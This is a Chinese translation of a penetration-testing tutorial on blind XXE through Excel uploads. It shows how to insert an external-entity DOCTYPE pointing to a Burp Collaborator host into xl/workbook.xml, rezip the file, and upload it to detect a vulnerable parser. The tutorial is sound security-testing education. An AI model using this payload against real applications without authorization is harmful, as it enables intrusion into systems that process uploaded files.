【翻译】Excel上的XXE漏洞入门指南(024)

admin 2024年2月15日18:19:57评论13 views字数 2941阅读9分48秒阅读模式

标题:Exploiting XXE with Excel

作者:Marc Wickenden

原文地址:https://www.4armed.com/blog/exploiting-xxe-with-excel/

XML外部实体攻击非常常见,特别是通过基于HTTP的API,我们经常遇到并利用它们,通常能够获得对客户环境的非常高特权访问。

较不常见的是使用Excel进行这种利用。

这是什么魔法?

实际上,并没有那么神秘。一个现代的Excel文件,与所有自Office 2007以后的文件格式一样,实际上只是一个XML文档的压缩文件。这被称为Office开放式XML格式或OOXML。

也许你可以猜到接下来会发生什么?

许多应用程序都允许上传文件。有些会处理这些文件内部的数据,并采取相应的操作,这几乎肯定需要解析XML。如果解析器没有安全配置,那么XXE几乎是不可避免的。

在这篇文章中,我重点关注Excel,因为处理Excel文件比处理Word文档或PowerPoint更常见。这篇文章中的任何内容也可能适用于那些应用程序。

入门指南

假设我们有一个目标应用程序,可以接受Excel文件上传和处理,我们可以开始探测XXE漏洞。相同的攻击payload可能会生效,我们只需将它们放入Excel文件中。

创建一个新的空白Excel文件。如果你想的话,你可以在一些单元格中输入一些内容,但这并不是必要的。没有安装Excel?你可以使用Google表格,然后下载为xlsx格式。

创建一个目录,将Excel文件解压缩到其中。是的,没错...

$ mkdir XXE && cd XXE
$ unzip ../XXE.xlsx # obviously use whatever your xlsx file is here
Archive:  ../XXE.xlsx
  inflating: xl/drawings/drawing1.xml
  inflating: xl/worksheets/sheet1.xml
  inflating: xl/worksheets/_rels/sheet1.xml.rels
  inflating: xl/sharedStrings.xml
  inflating: xl/styles.xml
  inflating: xl/workbook.xml
  inflating: xl/_rels/workbook.xml.rels
  inflating: _rels/.rels
  inflating: [Content_Types].xml

攻击不同的应用程序可能使用的文件会有一些变化,这很大程度上取决于所使用的解析库。xl/workbook.xml提供了工作簿内容的概览,通常是大多数解析的起点,因为它包含工作表及其名称的列表。单独的工作表位于xl/worksheets目录下,通常内容会以xl/sharedStrings.xml的形式出现。

根据我的实践经验,大多数应用程序似乎会将xl/workbook.xml引入其XML解析器以获取工作表列表,然后分别读取每个工作表以获取单元格内容。到目前为止,我还没有发现任何在单元格本身中存在漏洞的应用程序,但你的情况可能会有所不同。

基于这种方法,根据我的经验,通常最好首先尝试修改xl/workbook.xml,这就是我在本文中将要演示的内容。只需简单地在该文件中添加XXE攻击payload,将内容重新打包成Excel文件,然后上传到应用程序中。

使用Burp Collaborator进行盲XXE测试

在我们的演示应用程序中,没有一种方式可以将数据输出到HTTP响应中,因此所有的XXE发现和利用都将是盲目的。我喜欢使用Burp Collaborator进行初步测试,因为出站HTTP请求被阻止,但DNS查询很可能被允许。使用Collaborator,我们可以看到交互并确认漏洞,即使我们可能不能轻松地利用它。

打开Burp Suite Professional,点击Burp菜单,选择“Burp Collaborator客户端”以打开它。

【翻译】Excel上的XXE漏洞入门指南(024)

点击“复制到剪贴板”。在我的情况下,值是gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net。现在我们将把这个值插入到我们的XML中。

打开xl/workbook.xml,并将以下内容插入到第2行和第3行。确保粘贴您从Burp中复制的值,而不是下面显示的值。:-)

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>
<x>&xxe;</x>

你的xl/workbook.xml现在应该看起来类似这样。

【翻译】Excel上的XXE漏洞入门指南(024)

现在将它压缩起来,以创建新的Excel文件。

$ zip -r ../poc.xslx *
updating: [Content_Types].xml (deflated 71%)
updating: _rels/ (stored 0%)
updating: _rels/.rels (deflated 60%)
updating: docProps/ (stored 0%)
updating: docProps/app.xml (deflated 51%)
updating: docProps/core.xml (deflated 50%)
updating: xl/ (stored 0%)
updating: xl/workbook.xml (deflated 56%)
updating: xl/worksheets/ (stored 0%)
updating: xl/worksheets/sheet1.xml (deflated 53%)
updating: xl/styles.xml (deflated 60%)
updating: xl/theme/ (stored 0%)
updating: xl/theme/theme1.xml (deflated 80%)
updating: xl/_rels/ (stored 0%)
updating: xl/_rels/workbook.xml.rels (deflated 66%)
updating: xl/sharedStrings.xml (deflated 17%)

现在将这个poc.xlsx文件上传到你的应用程序中。在这种情况下,我们有一个简单的ReactJS演示应用程序,允许我们拖拽文件进行上传。你的应用程序可能会有所不同。

【翻译】Excel上的XXE漏洞入门指南(024)

现在检查你的Burp Collaborator客户端,看看是否有任何反馈。

【翻译】Excel上的XXE漏洞入门指南(024)

成功了,我们确认了XXE漏洞。

总结

利用Excel进行XML外部实体攻击相对直接,一旦发现漏洞,通常你使用的任何技巧都可以像标准的HTTP请求一样有效。

每周一9点发布精选内容。

每周三9点发布翻译内容。

更多安全资讯,请关注微信公众号:安全虫。

每周坚持学习与分享,觉得文章对你有帮助可在底部给点个“在看”。

原文始发于微信公众号(安全虫):【翻译】Excel上的XXE漏洞入门指南(024)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日18:19:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【翻译】Excel上的XXE漏洞入门指南(024)http://cn-sec.com/archives/2186486.html

发表评论

匿名网友 填写信息